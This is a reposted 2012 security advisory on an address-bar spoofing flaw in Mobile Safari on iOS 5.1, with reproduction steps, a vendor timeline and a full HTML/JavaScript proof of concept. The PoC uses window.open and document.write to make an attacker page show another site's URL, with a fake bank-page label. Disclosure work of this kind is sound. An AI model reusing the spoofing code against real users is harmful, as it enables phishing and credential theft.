首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Safari On iOS 5.1 Address Bar Spoofing
来源:majorsecurity.de 作者:Vieira-Kurz 发布时间:2012-03-22  

[MajorSecurity-SA-2012-014]Apple Safari on iOS 5.1 - Adressbar spoofing
vulnerability

Details
=============
Product: Apple Mobile Safari on iOS 5.1
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.apple.com/
Advisory-Status: published

Credits
=============
Discovered by: David Vieira-Kurz of MajorSecurity

Affected Products
=============
Apple Mobile Safari on iOS 5.1
Prior versions may also be affected

The affected version produced following user-agent header
==========================
Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46
(KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3

Testing environment
==========================
The proof of concept has been tested on an iPhone4, iPhone4S, iPad2 and
iPad3 running iOS 5.1

Description
=============
"Mobile Safari is web browser for Apple's iOS."

More Details
=============
David Vieira-Kurz has discovered some vulnerabilities in Apple Mobile
Safari based on AppleWebkit/534.46 running on iOS 5.1.

The weakness is caused due to an error within the handling of URLs when
using javascript's window.open() method.
This can be exploited to potentially trick users into supplying
sensitive information to a malicious web site,
because information displayed in the address bar can be constructed in a
certain way,
which may lead users to believe that they're visiting another web site
than the displayed web site.

Steps to reproduce
=============
1) Visit http://majorsecurity.net/html5/ios51-demo.html with Safari on
iOS 5.1
2) click the "demo" button
3) Safari will open a new window with "http://www.apple.com" in the
adress bar,
but in fact "http://www.apple.com" is being displayed inside an iframe
within
the host http://www.majorsecurity.net
4) Safari's adress bar is showing "http://www.apple.com" which makes the
user believe he/she is currently
visiting Apple.com while he's still on the attacker's website .

Proof of Concept
=============
A proof-of-concept code is available here:
http://majorsecurity.net/html5/ios51-demo.html


Solution
=============
Users should upgrade to a newer version as far as the vendor has
supplied a patch.

Timeline
================
2012-03-01, vulnerability identified in iOS 5.0
2012-03-01, vulnerability reproduced with iOS 5.1
2012-03-02, vendor has been informed
2012-03-03, vendor response
2012-03-20, advisory published


Use of terms
================
Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise,
contact us for permission. Use of the advisory constitutes acceptance
for use in an "as is" condition. All warranties are excluded.
In no event shall MajorSecurity be liable for any damages whatsoever
including direct, indirect, incidental, consequential,
loss of business profits or special damages, even if MajorSecurity has
been advised of the possibility of such damages.

poc:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
 <head><title>MobileSafari iOS 5.1 - Adress bar spoofing poc</title>
  <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
 </head>
 <body>
  <fieldset>
   <legend>Some payment/bank website included here.</legend>
   <ol>
      <li>start poc<xmp>click the button to run the poc.</xmp><button id="one">Demo</button></li>
   </ol>
  </fieldset>
  <script type="text/javascript">
   document.getElementById('one').onclick = function() {
    myWindow=window.open('http://www.apple.com','eintitel','width=200,height=100,location=yes');
    myWindow.document.write("<html><head></head><body><strong>This is still hosted on MajorSecurity.net, but the the adressbar is being spoofed and is pointing to another FQDN. scary.</strong><br><br><iframe src=\"http://www.apple.com\");></iframe></scri+pt></body></html>");
    myWindow.focus();
     return false;
   }
  </script>
  <br><br><br><iframe id="ifR1" name="ifR1" width="100px" height="50px" src="http://www.apple.com"></iframe>
 </body>
</html>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oreans WinLicense v2.1.8.0 XML
·Oreans Themida v2.1.8.0 TMD Fi
·Dell Webcam CrazyTalk ActiveX
·Internet Explorer (ExeC) Activ
·Google Talk gtalk:// Deprecate
·Cisco Linksys WVC200 Wireless-
·MS10-002 Internet Explorer Obj
·znif 2.2.1 (.pls) Local Buffer
·Ricoh DC Software DL-10 FTP Se
·NetBSD-ftpd 20100320 Remote DD
·Website Pro <= 3.1.13.0 "Refer
·Android FTPServer 1.9.0 Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved